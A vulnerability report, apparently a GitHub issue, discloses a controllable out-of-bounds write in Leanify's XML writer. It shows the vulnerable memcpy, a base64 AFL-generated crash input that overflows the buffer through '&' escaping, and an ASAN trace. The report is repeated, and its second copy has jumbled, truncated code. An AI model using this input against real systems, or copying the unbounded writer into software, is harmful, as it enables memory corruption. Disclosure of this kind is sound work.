Using the corpus of test files from the previous crash I also included an XML file. The crash is relative to the XML library implementation of Leanify resulting in another issue with an OOB write independent of the fixed OOB Read/Write in ICO. I discovered this via fuzzing and did some light root cause analysis and another party heavily expanded on the exploitability of this issue. Details below:
A moderately controllable memory corruption vulnerability affects the implementation of xml_memory_writer in formats/xml.cpp:179 as shown below:
void write(const void* data, size_t size) override {
memcpy(p_write, data, size); # Line 179
p_write += size;
}
};
} // namespace
pugi::xml_writer implementations should additionally track the capacity of the target buffer as shown in the pugixml documentation here:https://pugixml.org/docs/samples/save_custom_writer.cpp
It is possible to control the amount of data written past the end of the buffer by appending characters that require escaping as shown in the text_output_escaped function in pugixml.cpp:3906 as shown below:
++
PUGI__FN void text_output_escaped(xml_buffered_writer& writer, const char_t s, chartypex_t type, unsigned int flags)
{
/ TRUNCATED /
switch (s)
{
case 0: break;
case '&':
writer.write('&', 'a', 'm', 'p', ';');
++s;
break;
case '<':
writer.write('&', 'l', 't', ';');
++s;
break;
case '>':
writer.write('&', 'g', 't', ';');
++s;
break;
case '"':
writer.write('&', 'q', 'u', 'o', 't', ';');
++s;
break;
default: // s is not a usual symbol
{
unsigned int ch = static_cast(*s++);
assert(ch < 32);
The following base64 test case will crash the target binary by expanding a number of & to the escaped & (a gain of 4 bytes in extension).
PHBlcnNvbiBpZD0iPgombmFtYW5nciBSb2FDL2RpdBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECYm
JiYmJiYmJiYmJiZ5JnkmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JyYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJkhFQVBfT1ZFUkZMT1cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBBpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlp
aWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlsaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaXdpaWlp
aWlpEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEGdhIFJvYUMvZGl0eT4KEBAQEBAQEBAQ
EBBpaWlpaWlpaWlpaWlpaWlDaXR5PkghbmdhYXN0ZXIgSXNhaWxzLiAsIj4KPC9wZXJzb24+Cg==
For full stack trace on the crash, see the ASAN output below:
=================================================================
==461==ERROR: AddressSanitizer: unknown-crash on address 0xb7fce000 at pc 0xb7af7a42 bp 0xbfffc8f8 sp 0xbfffc4cc
WRITE of size 518 at 0xb7fce000 thread T0
0 0xb7af7a41 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa41)
#1 0xb7af7c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
#2 0x819a38c in (anonymous namespace)::xml_memory_writer::write(void const*, unsigned int) [clone .lto_priv.243] formats/xml.cpp:179
#3 0x80d927e in flush lib/pugixml/pugixml.cpp:3716
#4 0x80d9106 in pugi::impl::(anonymous namespace)::xml_buffered_writer::flush() [clone .lto_priv.561] lib/pugixml/pugixml.cpp:3705
#5 0x80bfed4 in pugi::xml_document::save(pugi::xml_writer&, char const*, unsigned int, pugi::xml_encoding) const lib/pugixml/pugixml.cpp:7168
#6 0x819b5fe in Xml::Leanify(unsigned int) formats/xml.cpp:307
#7 0x81af203 in LeanifyFile(void*, unsigned int, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const
&) /root/Leanify/leanify.cpp:140
8 0x81b08c2 in ProcessFile /root/Leanify/main.cpp:53
#9 0x81b1cde in main /root/Leanify/main.cpp:230
#10 0xb76e6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#11 0x804b650 (/root/Leanify/leanify+0x804b650)
The testfile was generated using the AFL fuzzer by lcamtuf.
Controlled Length Out of Bounds Write
Using the corpus of test files from the previous crash I also included an XML file. The crash is relative to the XML library implementation of Leanify resulting in another issue with an OOB write independent of the fixed OOB Read/Write in ICO. I discovered this via fuzzing and did some light root cause analysis and another party heavily expanded on the exploitability of this issue. Details below:
A moderately controllable memory corruption vulnerability affects the implementation of xml_memory_writer in formats/xml.cpp:179 as shown below:
++ struct xml_memory_writer : pugi::xml_writer { uint8_t* p_write;
void write(const void* data, size_t size) override { memcpy(p_write, data, size); # Line 179 p_write += size; } }; } // namespace pugi::xml_writer implementations should additionally track the capacity of the target buffer as shown in the pugixml documentation here: https://pugixml.org/docs/samples/save_custom_writer.cpp
It is possible to control the amount of data written past the end of the buffer by appending characters that require escaping as shown in the text_output_escaped function in pugixml.cpp:3906 as shown below:
++ PUGI__FN void text_output_escaped(xml_buffered_writer& writer, const char_t s, chartypex_t type, unsigned int flags) {(*s++);
assert(ch < 32);
/ TRUNCATED / switch (s) {
case 0: break; case '&': writer.write('&', 'a', 'm', 'p', ';'); ++s; break; case '<': writer.write('&', 'l', 't', ';'); ++s; break; case '>': writer.write('&', 'g', 't', ';'); ++s; break; case '"': writer.write('&', 'q', 'u', 'o', 't', ';'); ++s; break; default: // s is not a usual symbol {
unsigned int ch = static_cast
/ TRUNCATED /
The following base64 test case will crash the target binary by expanding a number of & to the escaped & (a gain of 4 bytes in extension).
PHBlcnNvbiBpZD0iPgombmFtYW5nciBSb2FDL2RpdBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECYm JiYmJiYmJiYmJiZ5JnkmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JyYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJkhFQVBfT1ZFUkZMT1cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBBpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlp aWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlsaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaXdpaWlp aWlpEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEGdhIFJvYUMvZGl0eT4KEBAQEBAQEBAQ EBBpaWlpaWlpaWlpaWlpaWlDaXR5PkghbmdhYXN0ZXIgSXNhaWxzLiAsIj4KPC9wZXJzb24+Cg== For full stack trace on the crash, see the ASAN output below:
================================================================= ==461==ERROR: AddressSanitizer: unknown-crash on address 0xb7fce000 at pc 0xb7af7a42 bp 0xbfffc8f8 sp 0xbfffc4cc WRITE of size 518 at 0xb7fce000 thread T0
0 0xb7af7a41 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa41)
&) /root/Leanify/leanify.cpp:140
8 0x81b08c2 in ProcessFile /root/Leanify/main.cpp:53
The testfile was generated using the AFL fuzzer by lcamtuf.